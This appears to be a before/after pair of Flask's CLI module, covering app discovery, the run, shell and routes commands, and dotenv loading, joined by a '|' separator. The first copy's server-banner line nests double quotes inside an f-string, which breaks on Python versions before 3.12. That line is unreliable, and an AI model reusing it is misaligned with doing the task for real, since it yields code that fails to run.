:param add_default_commands: if this is True then the default run and
shell commands will be added.
:param add_version_option: adds the ``--version`` option.
:param create_app: an optional callback that is passed the script info and
returns the loaded app.
:param load_dotenv: Load the nearest :file:`.env` and :file:`.flaskenv`
files to set environment variables. Will also change the working
directory to the directory containing the first file found.
:param set_debug_flag: Set the app's debug flag based on the active
environment
.. versionchanged:: 1.0
If installed, python-dotenv will be used to load environment variables
from :file:`.env` and :file:`.flaskenv` files.
"""
def __init__(
self,
add_default_commands=True,
create_app=None,
add_version_option=True,
load_dotenv=True,
set_debug_flag=True,
**extra,
):
params = list(extra.pop("params", None) or ())
if add_version_option:
params.append(version_option)
AppGroup.__init__(self, params=params, **extra)
self.create_app = create_app
self.load_dotenv = load_dotenv
self.set_debug_flag = set_debug_flag
if add_default_commands:
self.add_command(run_command)
self.add_command(shell_command)
self.add_command(routes_command)
self._loaded_plugin_commands = False
def _load_plugin_commands(self):
if self._loaded_plugin_commands:
return
try:
import pkg_resources
except ImportError:
self._loaded_plugin_commands = True
return
for ep in pkg_resources.iter_entry_points("flask.commands"):
self.add_command(ep.load(), ep.name)
self._loaded_plugin_commands = True
def get_command(self, ctx, name):
self._load_plugin_commands()
# Look up built-in and plugin commands, which should be
# available even if the app fails to load.
rv = super().get_command(ctx, name)
if rv is not None:
return rv
info = ctx.ensure_object(ScriptInfo)
# Look up commands provided by the app, showing an error and
# continuing if the app couldn't be loaded.
try:
return info.load_app().cli.get_command(ctx, name)
except NoAppException as e:
click.secho(f"Error: {e.format_message()}\n", err=True, fg="red")
def list_commands(self, ctx):
self._load_plugin_commands()
# Start with the built-in and plugin commands.
rv = set(super().list_commands(ctx))
info = ctx.ensure_object(ScriptInfo)
# Add commands provided by the app, showing an error and
# continuing if the app couldn't be loaded.
try:
rv.update(info.load_app().cli.list_commands(ctx))
except NoAppException as e:
# When an app couldn't be loaded, show the error message
# without the traceback.
click.secho(f"Error: {e.format_message()}\n", err=True, fg="red")
except Exception:
# When any other errors occurred during loading, show the
# full traceback.
click.secho(f"{traceback.format_exc()}\n", err=True, fg="red")
return sorted(rv)
def main(self, *args, **kwargs):
# Set a global flag that indicates that we were invoked from the
# command line interface. This is detected by Flask.run to make the
# call into a no-op. This is necessary to avoid ugly errors when the
# script that is loaded here also attempts to start a server.
os.environ["FLASK_RUN_FROM_CLI"] = "true"
if get_load_dotenv(self.load_dotenv):
load_dotenv()
obj = kwargs.get("obj")
if obj is None:
obj = ScriptInfo(
create_app=self.create_app, set_debug_flag=self.set_debug_flag
)
kwargs["obj"] = obj
kwargs.setdefault("auto_envvar_prefix", "FLASK")
return super().main(*args, **kwargs)
def _path_is_ancestor(path, other):
"""Take ``other`` and remove the length of ``path`` from it. Then join it
to ``path``. If it is the original value, ``path`` is an ancestor of
``other``."""
return os.path.join(path, other[len(path) :].lstrip(os.sep)) == other
def load_dotenv(path=None):
"""Load "dotenv" files in order of precedence to set environment variables.
If an env var is already set it is not overwritten, so earlier files in the
list are preferred over later files.
This is a no-op if `python-dotenv`_ is not installed.
.. _python-dotenv: https://github.com/theskumar/python-dotenv#readme
:param path: Load the file at this location instead of searching.
:return: ``True`` if a file was loaded.
.. versionchanged:: 1.1.0
Returns ``False`` when python-dotenv is not installed, or when
the given path isn't a file.
.. versionchanged:: 2.0
When loading the env files, set the default encoding to UTF-8.
.. versionadded:: 1.0
"""
if dotenv is None:
if path or os.path.isfile(".env") or os.path.isfile(".flaskenv"):
click.secho(
" * Tip: There are .env or .flaskenv files present."
' Do "pip install python-dotenv" to use them.',
fg="yellow",
err=True,
)
return False
# if the given path specifies the actual file then return True,
# else False
if path is not None:
if os.path.isfile(path):
return dotenv.load_dotenv(path, encoding="utf-8")
return False
new_dir = None
for name in (".env", ".flaskenv"):
path = dotenv.find_dotenv(name, usecwd=True)
if not path:
continue
if new_dir is None:
new_dir = os.path.dirname(path)
dotenv.load_dotenv(path, encoding="utf-8")
return new_dir is not None # at least one file was located and loaded
def show_server_banner(env, debug, app_import_path, eager_loading):
"""Show extra startup messages the first time the server is run,
ignoring the reloader.
"""
if os.environ.get("WERKZEUG_RUN_MAIN") == "true":
return
if app_import_path is not None:
message = f" * Serving Flask app {app_import_path!r}"
if not eager_loading:
message += " (lazy loading)"
click.echo(message)
click.echo(f" * Environment: {env}")
if env == "production":
click.secho(
" WARNING: This is a development server. Do not use it in"
" a production deployment.",
fg="red",
)
click.secho(" Use a production WSGI server instead.", dim=True)
if debug is not None:
click.echo(f" * Debug mode: {"on" if debug else "off"}")
class CertParamType(click.ParamType):
"""Click option type for the ``--cert`` option. Allows either an
existing file, the string ``'adhoc'``, or an import for a
:class:`~ssl.SSLContext` object.
"""
name = "path"
def __init__(self):
self.path_type = click.Path(exists=True, dir_okay=False, resolve_path=True)
def convert(self, value, param, ctx):
if ssl is None:
raise click.BadParameter(
'Using "--cert" requires Python to be compiled with SSL support.',
ctx,
param,
)
try:
return self.path_type(value, param, ctx)
except click.BadParameter:
value = click.STRING(value, param, ctx).lower()
if value == "adhoc":
try:
import cryptography # noqa: F401
except ImportError:
raise click.BadParameter(
"Using ad-hoc certificates requires the cryptography library.",
ctx,
param,
)
return value
obj = import_string(value, silent=True)
if isinstance(obj, ssl.SSLContext):
return obj
raise
def _validate_key(ctx, param, value):
"""The ``--key`` option must be specified when ``--cert`` is a file.
Modifies the ``cert`` param to be a ``(cert, key)`` pair if needed.
"""
cert = ctx.params.get("cert")
is_adhoc = cert == "adhoc"
is_context = ssl and isinstance(cert, ssl.SSLContext)
if value is not None:
if is_adhoc:
raise click.BadParameter(
'When "--cert" is "adhoc", "--key" is not used.', ctx, param
)
if is_context:
raise click.BadParameter(
'When "--cert" is an SSLContext object, "--key is not used.', ctx, param
)
if not cert:
raise click.BadParameter('"--cert" must also be specified.', ctx, param)
ctx.params["cert"] = cert, value
else:
if cert and not (is_adhoc or is_context):
raise click.BadParameter('Required when using "--cert".', ctx, param)
return value
class SeparatedPathType(click.Path):
"""Click option type that accepts a list of values separated by the
OS's path separator (``:``, ``;`` on Windows). Each value is
validated as a :class:`click.Path` type.
"""
def convert(self, value, param, ctx):
items = self.split_envvar_value(value)
super_convert = super().convert
return [super_convert(item, param, ctx) for item in items]
@click.command("run", short_help="Run a development server.")
@click.option("--host", "-h", default="127.0.0.1", help="The interface to bind to.")
@click.option("--port", "-p", default=5000, help="The port to bind to.")
@click.option(
"--cert", type=CertParamType(), help="Specify a certificate file to use HTTPS."
)
@click.option(
"--key",
type=click.Path(exists=True, dir_okay=False, resolve_path=True),
callback=_validate_key,
expose_value=False,
help="The key file to use when specifying a certificate.",
)
@click.option(
"--reload/--no-reload",
default=None,
help="Enable or disable the reloader. By default the reloader "
"is active if debug is enabled.",
)
@click.option(
"--debugger/--no-debugger",
default=None,
help="Enable or disable the debugger. By default the debugger "
"is active if debug is enabled.",
)
@click.option(
"--eager-loading/--lazy-loading",
default=None,
help="Enable or disable eager loading. By default eager "
"loading is enabled if the reloader is disabled.",
)
@click.option(
"--with-threads/--without-threads",
default=True,
help="Enable or disable multithreading.",
)
@click.option(
"--extra-files",
default=None,
type=SeparatedPathType(),
help=(
"Extra files that trigger a reload on change. Multiple paths"
f" are separated by {os.path.pathsep!r}."
),
)
@pass_script_info
def run_command(
info, host, port, reload, debugger, eager_loading, with_threads, cert, extra_files
):
"""Run a local development server.
This server is for development purposes only. It does not provide
the stability, security, or performance of production WSGI servers.
The reloader and debugger are enabled by default if
FLASK_ENV=development or FLASK_DEBUG=1.
"""
debug = get_debug_flag()
if reload is None:
reload = debug
if debugger is None:
debugger = debug
show_server_banner(get_env(), debug, info.app_import_path, eager_loading)
app = DispatchingApp(info.load_app, use_eager_loading=eager_loading)
from werkzeug.serving import run_simple
run_simple(
host,
port,
app,
use_reloader=reload,
use_debugger=debugger,
threaded=with_threads,
ssl_context=cert,
extra_files=extra_files,
)
@click.command("shell", short_help="Run a shell in the app context.")
@with_appcontext
def shell_command():
"""Run an interactive Python shell in the context of a given
Flask application. The application will populate the default
namespace of this shell according to its configuration.
This is useful for executing small snippets of management code
without having to manually configure the application.
"""
import code
from .globals import _app_ctx_stack
app = _app_ctx_stack.top.app
banner = (
f"Python {sys.version} on {sys.platform}\n"
f"App: {app.import_name} [{app.env}]\n"
f"Instance: {app.instance_path}"
)
ctx = {}
# Support the regular Python interpreter startup script if someone
# is using it.
startup = os.environ.get("PYTHONSTARTUP")
if startup and os.path.isfile(startup):
with open(startup) as f:
eval(compile(f.read(), startup, "exec"), ctx)
ctx.update(app.make_shell_context())
# Site, customize, or startup script can set a hook to call when
# entering interactive mode. The default one sets up readline with
# tab and history completion.
interactive_hook = getattr(sys, "__interactivehook__", None)
if interactive_hook is not None:
try:
import readline
from rlcompleter import Completer
except ImportError:
pass
else:
# rlcompleter uses __main__.__dict__ by default, which is
# flask.__main__. Use the shell context instead.
readline.set_completer(Completer(ctx).complete)
interactive_hook()
code.interact(banner=banner, local=ctx)
@click.command("routes", short_help="Show the routes for the app.")
@click.option(
"--sort",
"-s",
type=click.Choice(("endpoint", "methods", "rule", "match")),
default="endpoint",
help=(
'Method to sort routes by. "match" is the order that Flask will match '
"routes when dispatching a request."
),
)
@click.option("--all-methods", is_flag=True, help="Show HEAD and OPTIONS methods.")
@with_appcontext
def routes_command(sort, all_methods):
"""Show all registered routes with endpoints and methods."""
rules = list(current_app.url_map.iter_rules())
if not rules:
click.echo("No routes were registered.")
return
ignored_methods = set(() if all_methods else ("HEAD", "OPTIONS"))
if sort in ("endpoint", "rule"):
rules = sorted(rules, key=attrgetter(sort))
elif sort == "methods":
rules = sorted(rules, key=lambda rule: sorted(rule.methods))
rule_methods = [", ".join(sorted(rule.methods - ignored_methods)) for rule in rules]
headers = ("Endpoint", "Methods", "Rule")
widths = (
max(len(rule.endpoint) for rule in rules),
max(len(methods) for methods in rule_methods),
max(len(rule.rule) for rule in rules),
)
widths = [max(len(h), w) for h, w in zip(headers, widths)]
row = "{{0:<{0}}} {{1:<{1}}} {{2:<{2}}}".format(*widths)
click.echo(row.format(*headers).strip())
click.echo(row.format(*("-" * width for width in widths)))
for rule, methods in zip(rules, rule_methods):
click.echo(row.format(rule.endpoint, methods, rule.rule).rstrip())
cli = FlaskGroup(
help="""\
A general utility script for Flask applications.
Provides commands from Flask, extensions, and the application. Loads the
application defined in the FLASK_APP environment variable, or from a wsgi.py
file. Setting the FLASK_ENV environment variable to 'development' will enable
debug mode.
\b
{prefix}{cmd} FLASK_APP=hello.py
{prefix}{cmd} FLASK_ENV=development
{prefix}flask run
""".format(
cmd="export" if os.name == "posix" else "set",
prefix="$ " if os.name == "posix" else "> ",
)
)
def main():
# TODO omit sys.argv once https://github.com/pallets/click/issues/536 is fixed
cli.main(args=sys.argv[1:])
if __name__ == "__main__":
main()
| import ast
import inspect
import os
import platform
import re
import sys
import traceback
import warnings
from functools import update_wrapper
from operator import attrgetter
from threading import Lock
from threading import Thread
import click
from werkzeug.utils import import_string
from .globals import current_app
from .helpers import get_debug_flag
from .helpers import get_env
from .helpers import get_load_dotenv
try:
import dotenv
except ImportError:
dotenv = None
try:
import ssl
except ImportError:
ssl = None
class NoAppException(click.UsageError):
"""Raised if an application cannot be found or loaded."""
def find_best_app(script_info, module):
"""Given a module instance this tries to find the best possible
application in the module or raises an exception.
"""
from . import Flask
# Search for the most common names first.
for attr_name in ("app", "application"):
app = getattr(module, attr_name, None)
if isinstance(app, Flask):
return app
# Otherwise find the only object that is a Flask instance.
matches = [v for v in module.__dict__.values() if isinstance(v, Flask)]
if len(matches) == 1:
return matches[0]
elif len(matches) > 1:
raise NoAppException(
"Detected multiple Flask applications in module"
f" {module.__name__!r}. Use 'FLASK_APP={module.__name__}:name'"
f" to specify the correct one."
)
# Search for app factory functions.
for attr_name in ("create_app", "make_app"):
app_factory = getattr(module, attr_name, None)
if inspect.isfunction(app_factory):
try:
app = call_factory(script_info, app_factory)
if isinstance(app, Flask):
return app
except TypeError:
if not _called_with_wrong_args(app_factory):
raise
raise NoAppException(
f"Detected factory {attr_name!r} in module {module.__name__!r},"
" but could not call it without arguments. Use"
f" \"FLASK_APP='{module.__name__}:{attr_name}(args)'\""
" to specify arguments."
)
raise NoAppException(
"Failed to find Flask application or factory in module"
f" {module.__name__!r}. Use 'FLASK_APP={module.__name__}:name'"
" to specify one."
)
def call_factory(script_info, app_factory, args=None, kwargs=None):
"""Takes an app factory, a ``script_info` object and optionally a tuple
of arguments. Checks for the existence of a script_info argument and calls
the app_factory depending on that and the arguments provided.
"""
sig = inspect.signature(app_factory)
args = [] if args is None else args
kwargs = {} if kwargs is None else kwargs
if "script_info" in sig.parameters:
warnings.warn(
"The 'script_info' argument is deprecated and will not be"
" passed to the app factory function in Flask 2.1.",
DeprecationWarning,
)
kwargs["script_info"] = script_info
if (
not args
and len(sig.parameters) == 1
and next(iter(sig.parameters.values())).default is inspect.Parameter.empty
):
warnings.warn(
"Script info is deprecated and will not be passed as the"
" single argument to the app factory function in Flask"
" 2.1.",
DeprecationWarning,
)
args.append(script_info)
return app_factory(*args, **kwargs)
def _called_with_wrong_args(f):
"""Check whether calling a function raised a ``TypeError`` because
the call failed or because something in the factory raised the
error.
:param f: The function that was called.
:return: ``True`` if the call failed.
"""
tb = sys.exc_info()[2]
try:
while tb is not None:
if tb.tb_frame.f_code is f.__code__:
# In the function, it was called successfully.
return False
tb = tb.tb_next
# Didn't reach the function.
return True
finally:
# Delete tb to break a circular reference.
# https://docs.python.org/2/library/sys.html#sys.exc_info
del tb
def find_app_by_string(script_info, module, app_name):
"""Check if the given string is a variable name or a function. Call
a function to get the app instance, or return the variable directly.
"""
from . import Flask
# Parse app_name as a single expression to determine if it's a valid
# attribute name or function call.
try:
expr = ast.parse(app_name.strip(), mode="eval").body
except SyntaxError:
raise NoAppException(
f"Failed to parse {app_name!r} as an attribute name or function call."
)
if isinstance(expr, ast.Name):
name = expr.id
args = kwargs = None
elif isinstance(expr, ast.Call):
# Ensure the function name is an attribute name only.
if not isinstance(expr.func, ast.Name):
raise NoAppException(
f"Function reference must be a simple name: {app_name!r}."
)
name = expr.func.id
# Parse the positional and keyword arguments as literals.
try:
args = [ast.literal_eval(arg) for arg in expr.args]
kwargs = {kw.arg: ast.literal_eval(kw.value) for kw in expr.keywords}
except ValueError:
# literal_eval gives cryptic error messages, show a generic
# message with the full expression instead.
raise NoAppException(
f"Failed to parse arguments as literal values: {app_name!r}."
)
else:
raise NoAppException(
f"Failed to parse {app_name!r} as an attribute name or function call."
)
try:
attr = getattr(module, name)
except AttributeError:
raise NoAppException(
f"Failed to find attribute {name!r} in {module.__name__!r}."
)
# If the attribute is a function, call it with any args and kwargs
# to get the real application.
if inspect.isfunction(attr):
try:
app = call_factory(script_info, attr, args, kwargs)
except TypeError:
if not _called_with_wrong_args(attr):
raise
raise NoAppException(
f"The factory {app_name!r} in module"
f" {module.__name__!r} could not be called with the"
" specified arguments."
)
else:
app = attr
if isinstance(app, Flask):
return app
raise NoAppException(
"A valid Flask application was not obtained from"
f" '{module.__name__}:{app_name}'."
)
def prepare_import(path):
"""Given a filename this will try to calculate the python path, add it
to the search path and return the actual module name that is expected.
"""
path = os.path.realpath(path)
fname, ext = os.path.splitext(path)
if ext == ".py":
path = fname
if os.path.basename(path) == "__init__":
path = os.path.dirname(path)
module_name = []
# move up until outside package structure (no __init__.py)
while True:
path, name = os.path.split(path)
module_name.append(name)
if not os.path.exists(os.path.join(path, "__init__.py")):
break
if sys.path[0] != path:
sys.path.insert(0, path)
return ".".join(module_name[::-1])
def locate_app(script_info, module_name, app_name, raise_if_not_found=True):
__traceback_hide__ = True # noqa: F841
try:
__import__(module_name)
except ImportError:
# Reraise the ImportError if it occurred within the imported module.
# Determine this by checking whether the trace has a depth > 1.
if sys.exc_info()[2].tb_next:
raise NoAppException(
f"While importing {module_name!r}, an ImportError was"
f" raised:\n\n{traceback.format_exc()}"
)
elif raise_if_not_found:
raise NoAppException(f"Could not import {module_name!r}.")
else:
return
module = sys.modules[module_name]
if app_name is None:
return find_best_app(script_info, module)
else:
return find_app_by_string(script_info, module, app_name)
def get_version(ctx, param, value):
if not value or ctx.resilient_parsing:
return
import werkzeug
from . import __version__
click.echo(
f"Python {platform.python_version()}\n"
f"Flask {__version__}\n"
f"Werkzeug {werkzeug.__version__}",
color=ctx.color,
)
ctx.exit()
version_option = click.Option(
["--version"],
help="Show the flask version",
expose_value=False,
callback=get_version,
is_flag=True,
is_eager=True,
)
class DispatchingApp:
"""Special application that dispatches to a Flask application which
is imported by name in a background thread. If an error happens
it is recorded and shown as part of the WSGI handling which in case
of the Werkzeug debugger means that it shows up in the browser.
"""
def __init__(self, loader, use_eager_loading=None):
self.loader = loader
self._app = None
self._lock = Lock()
self._bg_loading_exc_info = None
if use_eager_loading is None:
use_eager_loading = os.environ.get("WERKZEUG_RUN_MAIN") != "true"
if use_eager_loading:
self._load_unlocked()
else:
self._load_in_background()
def _load_in_background(self):
def _load_app():
__traceback_hide__ = True # noqa: F841
with self._lock:
try:
self._load_unlocked()
except Exception:
self._bg_loading_exc_info = sys.exc_info()
t = Thread(target=_load_app, args=())
t.start()
def _flush_bg_loading_exception(self):
__traceback_hide__ = True # noqa: F841
exc_info = self._bg_loading_exc_info
if exc_info is not None:
self._bg_loading_exc_info = None
raise exc_info
def _load_unlocked(self):
__traceback_hide__ = True # noqa: F841
self._app = rv = self.loader()
self._bg_loading_exc_info = None
return rv
def __call__(self, environ, start_response):
__traceback_hide__ = True # noqa: F841
if self._app is not None:
return self._app(environ, start_response)
self._flush_bg_loading_exception()
with self._lock:
if self._app is not None:
rv = self._app
else:
rv = self._load_unlocked()
return rv(environ, start_response)
class ScriptInfo:
"""Helper object to deal with Flask applications. This is usually not
necessary to interface with as it's used internally in the dispatching
to click. In future versions of Flask this object will most likely play
a bigger role. Typically it's created automatically by the
:class:`FlaskGroup` but you can also manually create it and pass it
onwards as click object.
"""
def __init__(self, app_import_path=None, create_app=None, set_debug_flag=True):
#: Optionally the import path for the Flask application.
self.app_import_path = app_import_path or os.environ.get("FLASK_APP")
#: Optionally a function that is passed the script info to create
#: the instance of the application.
self.create_app = create_app
#: A dictionary with arbitrary data that can be associated with
#: this script info.
self.data = {}
self.set_debug_flag = set_debug_flag
self._loaded_app = None
def load_app(self):
"""Loads the Flask app (if not yet loaded) and returns it. Calling
this multiple times will just result in the already loaded app to
be returned.
"""
__traceback_hide__ = True # noqa: F841
if self._loaded_app is not None:
return self._loaded_app
if self.create_app is not None:
app = call_factory(self, self.create_app)
else:
if self.app_import_path:
path, name = (
re.split(r":(?![\\/])", self.app_import_path, 1) + [None]
)[:2]
import_name = prepare_import(path)
app = locate_app(self, import_name, name)
else:
for path in ("wsgi.py", "app.py"):
import_name = prepare_import(path)
app = locate_app(self, import_name, None, raise_if_not_found=False)
if app:
break
if not app:
raise NoAppException(
"Could not locate a Flask application. You did not provide "
'the "FLASK_APP" environment variable, and a "wsgi.py" or '
'"app.py" module was not found in the current directory.'
)
if self.set_debug_flag:
# Update the app's debug flag through the descriptor so that
# other values repopulate as well.
app.debug = get_debug_flag()
self._loaded_app = app
return app
pass_script_info = click.make_pass_decorator(ScriptInfo, ensure=True)
def with_appcontext(f):
"""Wraps a callback so that it's guaranteed to be executed with the
script's application context. If callbacks are registered directly
to the ``app.cli`` object then they are wrapped with this function
by default unless it's disabled.
"""
@click.pass_context
def decorator(__ctx, *args, **kwargs):
with __ctx.ensure_object(ScriptInfo).load_app().app_context():
return __ctx.invoke(f, *args, **kwargs)
return update_wrapper(decorator, f)
class AppGroup(click.Group):
"""This works similar to a regular click :class:`~click.Group` but it
changes the behavior of the :meth:`command` decorator so that it
automatically wraps the functions in :func:`with_appcontext`.
Not to be confused with :class:`FlaskGroup`.
"""
def command(self, *args, **kwargs):
"""This works exactly like the method of the same name on a regular
:class:`click.Group` but it wraps callbacks in :func:`with_appcontext`
unless it's disabled by passing ``with_appcontext=False``.
"""
wrap_for_ctx = kwargs.pop("with_appcontext", True)
def decorator(f):
if wrap_for_ctx:
f = with_appcontext(f)
return click.Group.command(self, *args, **kwargs)(f)
return decorator
def group(self, *args, **kwargs):
"""This works exactly like the method of the same name on a regular
:class:`click.Group` but it defaults the group class to
:class:`AppGroup`.
"""
kwargs.setdefault("cls", AppGroup)
return click.Group.group(self, *args, **kwargs)
class FlaskGroup(AppGroup):
"""Special subclass of the :class:`AppGroup` group that supports
loading more commands from the configured Flask app. Normally a
developer does not have to interface with this class but there are
some very advanced use cases for which it makes sense to create an
instance of this. see :ref:`custom-scripts`.
:param add_default_commands: if this is True then the default run and
shell commands will be added.
:param add_version_option: adds the ``--version`` option.
:param create_app: an optional callback that is passed the script info and
returns the loaded app.
:param load_dotenv: Load the nearest :file:`.env` and :file:`.flaskenv`
files to set environment variables. Will also change the working
directory to the directory containing the first file found.
:param set_debug_flag: Set the app's debug flag based on the active
environment
.. versionchanged:: 1.0
If installed, python-dotenv will be used to load environment variables
from :file:`.env` and :file:`.flaskenv` files.
"""
def __init__(
self,
add_default_commands=True,
create_app=None,
add_version_option=True,
load_dotenv=True,
set_debug_flag=True,
**extra,
):
params = list(extra.pop("params", None) or ())
if add_version_option:
params.append(version_option)
AppGroup.__init__(self, params=params, **extra)
self.create_app = create_app
self.load_dotenv = load_dotenv
self.set_debug_flag = set_debug_flag
if add_default_commands:
self.add_command(run_command)
self.add_command(shell_command)
self.add_command(routes_command)
self._loaded_plugin_commands = False
def _load_plugin_commands(self):
if self._loaded_plugin_commands:
return
try:
import pkg_resources
except ImportError:
self._loaded_plugin_commands = True
return
for ep in pkg_resources.iter_entry_points("flask.commands"):
self.add_command(ep.load(), ep.name)
self._loaded_plugin_commands = True
def get_command(self, ctx, name):
self._load_plugin_commands()
# Look up built-in and plugin commands, which should be
# available even if the app fails to load.
rv = super().get_command(ctx, name)
if rv is not None:
return rv
info = ctx.ensure_object(ScriptInfo)
# Look up commands provided by the app, showing an error and
# continuing if the app couldn't be loaded.
try:
return info.load_app().cli.get_command(ctx, name)
except NoAppException as e:
click.secho(f"Error: {e.format_message()}\n", err=True, fg="red")
def list_commands(self, ctx):
self._load_plugin_commands()
# Start with the built-in and plugin commands.
rv = set(super().list_commands(ctx))
info = ctx.ensure_object(ScriptInfo)
# Add commands provided by the app, showing an error and
# continuing if the app couldn't be loaded.
try:
rv.update(info.load_app().cli.list_commands(ctx))
except NoAppException as e:
# When an app couldn't be loaded, show the error message
# without the traceback.
click.secho(f"Error: {e.format_message()}\n", err=True, fg="red")
except Exception:
# When any other errors occurred during loading, show the
# full traceback.
click.secho(f"{traceback.format_exc()}\n", err=True, fg="red")
return sorted(rv)
def main(self, *args, **kwargs):
# Set a global flag that indicates that we were invoked from the
# command line interface. This is detected by Flask.run to make the
# call into a no-op. This is necessary to avoid ugly errors when the
# script that is loaded here also attempts to start a server.
os.environ["FLASK_RUN_FROM_CLI"] = "true"
if get_load_dotenv(self.load_dotenv):
load_dotenv()
obj = kwargs.get("obj")
if obj is None:
obj = ScriptInfo(
create_app=self.create_app, set_debug_flag=self.set_debug_flag
)
kwargs["obj"] = obj
kwargs.setdefault("auto_envvar_prefix", "FLASK")
return super().main(*args, **kwargs)
def _path_is_ancestor(path, other):
"""Take ``other`` and remove the length of ``path`` from it. Then join it
to ``path``. If it is the original value, ``path`` is an ancestor of
``other``."""
return os.path.join(path, other[len(path) :].lstrip(os.sep)) == other
def load_dotenv(path=None):
"""Load "dotenv" files in order of precedence to set environment variables.
If an env var is already set it is not overwritten, so earlier files in the
list are preferred over later files.
This is a no-op if `python-dotenv`_ is not installed.
.. _python-dotenv: https://github.com/theskumar/python-dotenv#readme
:param path: Load the file at this location instead of searching.
:return: ``True`` if a file was loaded.
.. versionchanged:: 1.1.0
Returns ``False`` when python-dotenv is not installed, or when
the given path isn't a file.
.. versionchanged:: 2.0
When loading the env files, set the default encoding to UTF-8.
.. versionadded:: 1.0
"""
if dotenv is None:
if path or os.path.isfile(".env") or os.path.isfile(".flaskenv"):
click.secho(
" * Tip: There are .env or .flaskenv files present."
' Do "pip install python-dotenv" to use them.',
fg="yellow",
err=True,
)
return False
# if the given path specifies the actual file then return True,
# else False
if path is not None:
if os.path.isfile(path):
return dotenv.load_dotenv(path, encoding="utf-8")
return False
new_dir = None
for name in (".env", ".flaskenv"):
path = dotenv.find_dotenv(name, usecwd=True)
if not path:
continue
if new_dir is None:
new_dir = os.path.dirname(path)
dotenv.load_dotenv(path, encoding="utf-8")
return new_dir is not None # at least one file was located and loaded
def show_server_banner(env, debug, app_import_path, eager_loading):
"""Show extra startup messages the first time the server is run,
ignoring the reloader.
"""
if os.environ.get("WERKZEUG_RUN_MAIN") == "true":
return
if app_import_path is not None:
message = f" * Serving Flask app {app_import_path!r}"
if not eager_loading:
message += " (lazy loading)"
click.echo(message)
click.echo(f" * Environment: {env}")
if env == "production":
click.secho(
" WARNING: This is a development server. Do not use it in"
" a production deployment.",
fg="red",
)
click.secho(" Use a production WSGI server instead.", dim=True)
if debug is not None:
click.echo(f" * Debug mode: {'on' if debug else 'off'}")
class CertParamType(click.ParamType):
"""Click option type for the ``--cert`` option. Allows either an
existing file, the string ``'adhoc'``, or an import for a
:class:`~ssl.SSLContext` object.
"""
name = "path"
def __init__(self):
self.path_type = click.Path(exists=True, dir_okay=False, resolve_path=True)
def convert(self, value, param, ctx):
if ssl is None:
raise click.BadParameter(
'Using "--cert" requires Python to be compiled with SSL support.',
ctx,
param,
)
try:
return self.path_type(value, param, ctx)
except click.BadParameter:
value = click.STRING(value, param, ctx).lower()
if value == "adhoc":
try:
import cryptography # noqa: F401
except ImportError:
raise click.BadParameter(
"Using ad-hoc certificates requires the cryptography library.",
ctx,
param,
)
return value
obj = import_string(value, silent=True)
if isinstance(obj, ssl.SSLContext):
return obj
raise
def _validate_key(ctx, param, value):
"""The ``--key`` option must be specified when ``--cert`` is a file.
Modifies the ``cert`` param to be a ``(cert, key)`` pair if needed.
"""
cert = ctx.params.get("cert")
is_adhoc = cert == "adhoc"
is_context = ssl and isinstance(cert, ssl.SSLContext)
if value is not None:
if is_adhoc:
raise click.BadParameter(
'When "--cert" is "adhoc", "--key" is not used.', ctx, param
)
if is_context:
raise click.BadParameter(
'When "--cert" is an SSLContext object, "--key is not used.', ctx, param
)
if not cert:
raise click.BadParameter('"--cert" must also be specified.', ctx, param)
ctx.params["cert"] = cert, value
else:
if cert and not (is_adhoc or is_context):
raise click.BadParameter('Required when using "--cert".', ctx, param)
return value
class SeparatedPathType(click.Path):
"""Click option type that accepts a list of values separated by the
OS's path separator (``:``, ``;`` on Windows). Each value is
validated as a :class:`click.Path` type.
"""
def convert(self, value, param, ctx):
items = self.split_envvar_value(value)
super_convert = super().convert
return [super_convert(item, param, ctx) for item in items]
@click.command("run", short_help="Run a development server.")
@click.option("--host", "-h", default="127.0.0.1", help="The interface to bind to.")
@click.option("--port", "-p", default=5000, help="The port to bind to.")
@click.option(
"--cert", type=CertParamType(), help="Specify a certificate file to use HTTPS."
)
@click.option(
"--key",
type=click.Path(exists=True, dir_okay=False, resolve_path=True),
callback=_validate_key,
expose_value=False,
help="The key file to use when specifying a certificate.",
)
@click.option(
"--reload/--no-reload",
default=None,
help="Enable or disable the reloader. By default the reloader "
"is active if debug is enabled.",
)
@click.option(
"--debugger/--no-debugger",
default=None,
help="Enable or disable the debugger. By default the debugger "
"is active if debug is enabled.",
)
@click.option(
"--eager-loading/--lazy-loading",
default=None,
help="Enable or disable eager loading. By default eager "
"loading is enabled if the reloader is disabled.",
)
@click.option(
"--with-threads/--without-threads",
default=True,
help="Enable or disable multithreading.",
)
@click.option(
"--extra-files",
default=None,
type=SeparatedPathType(),
help=(
"Extra files that trigger a reload on change. Multiple paths"
f" are separated by {os.path.pathsep!r}."
),
)
@pass_script_info
def run_command(
info, host, port, reload, debugger, eager_loading, with_threads, cert, extra_files
):
"""Run a local development server.
This server is for development purposes only. It does not provide
the stability, security, or performance of production WSGI servers.
The reloader and debugger are enabled by default if
FLASK_ENV=development or FLASK_DEBUG=1.
"""
debug = get_debug_flag()
if reload is None:
reload = debug
if debugger is None:
debugger = debug
show_server_banner(get_env(), debug, info.app_import_path, eager_loading)
app = DispatchingApp(info.load_app, use_eager_loading=eager_loading)
from werkzeug.serving import run_simple
run_simple(
host,
port,
app,
use_reloader=reload,
use_debugger=debugger,
threaded=with_threads,
ssl_context=cert,
extra_files=extra_files,
)
@click.command("shell", short_help="Run a shell in the app context.")
@with_appcontext
def shell_command():
"""Run an interactive Python shell in the context of a given
Flask application. The application will populate the default
namespace of this shell according to its configuration.
This is useful for executing small snippets of management code
without having to manually configure the application.
"""
import code
from .globals import _app_ctx_stack
app = _app_ctx_stack.top.app
banner = (
f"Python {sys.version} on {sys.platform}\n"
f"App: {app.import_name} [{app.env}]\n"
f"Instance: {app.instance_path}"
)
ctx = {}
# Support the regular Python interpreter startup script if someone
# is using it.
startup = os.environ.get("PYTHONSTARTUP")
if startup and os.path.isfile(startup):
with open(startup) as f:
eval(compile(f.read(), startup, "exec"), ctx)
ctx.update(app.make_shell_context())
# Site, customize, or startup script can set a hook to call when
# entering interactive mode. The default one sets up readline with
# tab and history completion.
interactive_hook = getattr(sys, "__interactivehook__", None)
if interactive_hook is not None:
try:
import readline
from rlcompleter import Completer
except ImportError:
pass
else:
# rlcompleter uses __main__.__dict__ by default, which is
# flask.__main__. Use the shell context instead.
readline.set_completer(Completer(ctx).complete)
interactive_hook()
code.interact(banner=banner, local=ctx)
@click.command("routes", short_help="Show the routes for the app.")
@click.option(
"--sort",
"-s",
type=click.Choice(("endpoint", "methods", "rule", "match")),
default="endpoint",
help=(
'Method to sort routes by. "match" is the order that Flask will match '
"routes when dispatching a request."
